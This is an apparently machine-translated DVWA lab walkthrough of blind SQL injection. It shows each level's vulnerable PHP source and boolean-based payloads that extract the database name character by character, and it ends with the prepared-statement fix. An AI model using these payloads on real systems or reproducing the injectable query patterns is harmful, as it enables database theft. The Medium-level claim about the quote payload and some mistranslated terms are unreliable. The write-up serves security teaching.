catalogue
SQL Injection (blind), that is, SQL blind injection, is different from general injection in that the general injection attacker can directly see the execution result of the injection statement from the page, while during blind injection, the attacker usually cannot obtain the execution result from the display page, or even know whether the injection statement is executed. Therefore, blind injection is more difficult than general injection. At present, most of the existing SQL Injection vulnerabilities on the network are SQL blind injection. Blind annotation can be divided into Boolean based blind annotation, time-based blind annotation and error based blind annotation. For an introduction to SQL blind annotation, see this article: MYSQL injected into the book of heaven blind note explanation - lcamry - blog Park
Low
Source code;
<?php if( isset( $_GET[ 'Submit' ] ) ) { // Get input $id = $_GET[ 'id' ]; $exists = false; switch ($_DVWA['SQLI_DB']) { case MYSQL: // Check database $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ); // Removed 'or die' to suppress mysql errors try { $exists = (mysqli_num_rows( $result ) > 0); // The '@' character suppresses errors } catch(Exception $e) { $exists = false; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); break; case SQLITE: global $sqlite_db_connection; $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; try { $results = $sqlite_db_connection->query($query); $row = $results->fetchArray(); $exists = $row !== false; } catch(Exception $e) { $exists = false; } break; } if ($exists) { // Feedback for end user echo '<pre>User ID exists in the database.</pre>'; } else { // User wasn't found, so the page wasn't! header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); // Feedback for end user echo '<pre>User ID is MISSING from the database.</pre>'; } } ?>
1. Judge whether there is injection:
Enter 1 'and 1 = 1 # to show that the user exists:
Enter 1 'and 1 = 2 #, and the user does not exist:
Therefore, it indicates that there is character type SQL blind annotation.
2. Database name length:
Enter 1 'and length(database())=1 #, and the User ID is MISSING from the database is displayed:
Enter 1 'and length(database())=2#, and the User ID is MISSING from the database will be displayed;
Enter 1 'and length(database())=3#, and the User ID is MISSING from the database will be displayed;
Enter 1 'and length(database())=4#, and User ID exists in the database is displayed:
Description the length of database name is 4
3. Guess the database name:
Enter 1 'and ascii (substr (database(), 1,1)) > 97#, and the User ID exists in the database. Indicates that the ascii value of the first character is greater than 97 (a)
Enter 1 'and ascii (substr (database(), 1,1)) < 122#, and the User ID exists in the database. Indicates that the ascii value of the first character is less than 122 (z)
Enter 1 'and ascii (substr (database(), 1,1)) < 110 #, and User ID exists in the database. It indicates that the ascii value of the first character is less than 110 (n)
Enter 1 'and ascii (substr (database(), 1,1)) < 104#, and User ID exists in the database. It indicates that the ascii value of the first character is less than 104 (h)
Enter 1 'and ASCII (substr (database(), 1,1)) < 100 #, and the User ID is MISSING from the database is displayed
, indicating that the ascii value of the first character is not less than 100 (d)
Enter 1 'and ASCII (substr (database(), 1,1)) > 100 #, and the User ID is MISSING from the database is displayed
, indicating that the ascii value of the first character is not greater than 100 (d)
Enter 1 'and ascii(substr(database(),1,1))=100 #, and the User ID exists in the database is displayed
, indicating that the ascii value of the first character is equal to 100 (d)
According to the above dichotomy, the database name is dvwa.
Other data can also be obtained according to the above method.
Medium
Source code:
<?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $id = $_POST[ 'id' ]; $exists = false; switch ($_DVWA['SQLI_DB']) { case MYSQL: $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Check database $query = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ); // Removed 'or die' to suppress mysql errors try { $exists = (mysqli_num_rows( $result ) > 0); // The '@' character suppresses errors } catch(Exception $e) { $exists = false; } break; case SQLITE: global $sqlite_db_connection; $query = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; try { $results = $sqlite_db_connection->query($query); $row = $results->fetchArray(); $exists = $row !== false; } catch(Exception $e) { $exists = false; } break; } if ($exists) { // Feedback for end user echo '<pre>User ID exists in the database.</pre>'; } else { // Feedback for end user echo '<pre>User ID is MISSING from the database.</pre>'; } } ?>
As you can see, the Medium level code uses mysql_ real_ escape_ The string function escapes special symbols and sets them as a drop-down selection form to control input.
Exploit: modify the parameter id by capturing packets and construct a query function.
Enter 1 'and 1 = 1 # to show that the user exists:
Enter 1 'and 1 = 2 #, and the user does not exist:
Therefore, it indicates that there is character type SQL blind annotation; Then other injection methods are the same as those of the Low level, so I won't say more here.
High
Source code:
<?php if( isset( $_COOKIE[ 'id' ] ) ) { // Get input $id = $_COOKIE[ 'id' ]; $exists = false; switch ($_DVWA['SQLI_DB']) { case MYSQL: // Check database $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ); // Removed 'or die' to suppress mysql errors // Get results try { $exists = (mysqli_num_rows( $result ) > 0); // The '@' character suppresses errors } catch(Exception $e) { $exists = false; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); break; case SQLITE: global $sqlite_db_connection; $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; try { $results = $sqlite_db_connection->query($query); $row = $results->fetchArray(); $exists = $row !== false; } catch(Exception $e) { $exists = false; } break; } if ($exists) { // Feedback for end user echo '<pre>User ID exists in the database.</pre>'; } else { // Might sleep a random amount if( rand( 0, 5 ) == 3 ) { sleep( rand( 2, 4 ) ); } // User wasn't found, so the page wasn't! header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); // Feedback for end user echo '<pre>User ID is MISSING from the database.</pre>'; } } ?>
It can be seen that the High level code uses cookie s to pass parameter IDs. When the SQL query result is empty, the function sleep(seconds) will be executed to disturb the time-based blind annotation. At the same time, LIMIT 1 is added to the SQL query statement to control the output of only one result.
Although LIMIT 1 is added, we can comment it out by # adding it. However, the execution of sleep function on the server side will affect the accuracy of time-based blind injection. Here, the injection method above can be used to explode. Therefore, it will not be repeated:
Impossible
Source code:
<?php if( isset( $_GET[ 'Submit' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); $exists = false; // Get input $id = $_GET[ 'id' ]; // Was a number entered? if(is_numeric( $id )) { $id = intval ($id); switch ($_DVWA['SQLI_DB']) { case MYSQL: // Check the database $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' ); $data->bindParam( ':id', $id, PDO::PARAM_INT ); $data->execute(); $exists = $data->rowCount(); break; case SQLITE: global $sqlite_db_connection; $stmt = $sqlite_db_connection->prepare('SELECT COUNT(first_name) AS numrows FROM users WHERE user_id = :id LIMIT 1;' ); $stmt->bindValue(':id',$id,SQLITE3_INTEGER); $result = $stmt->execute(); $result->finalize(); if ($result !== false) { // There is no way to get the number of rows returned // This checks the number of columns (not rows) just // as a precaution, but it won't stop someone dumping // multiple rows and viewing them one at a time. $num_columns = $result->numColumns(); if ($num_columns == 1) { $row = $result->fetchArray(); $numrows = $row[ 'numrows' ]; $exists = ($numrows == 1); } } break; } } // Get results if ($exists) { // Feedback for end user echo '<pre>User ID exists in the database.</pre>'; } else { // User wasn't found, so the page wasn't! header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); // Feedback for end user echo '<pre>User ID is MISSING from the database.</pre>'; } } // Generate Anti-CSRF token generateSessionToken(); ?>
It can be seen that PDO technology is adopted for the impossibile level code, which distinguishes the boundary between code and data, effectively prevents SQL injection, and the addition of anti CSRF token mechanism further improves the security.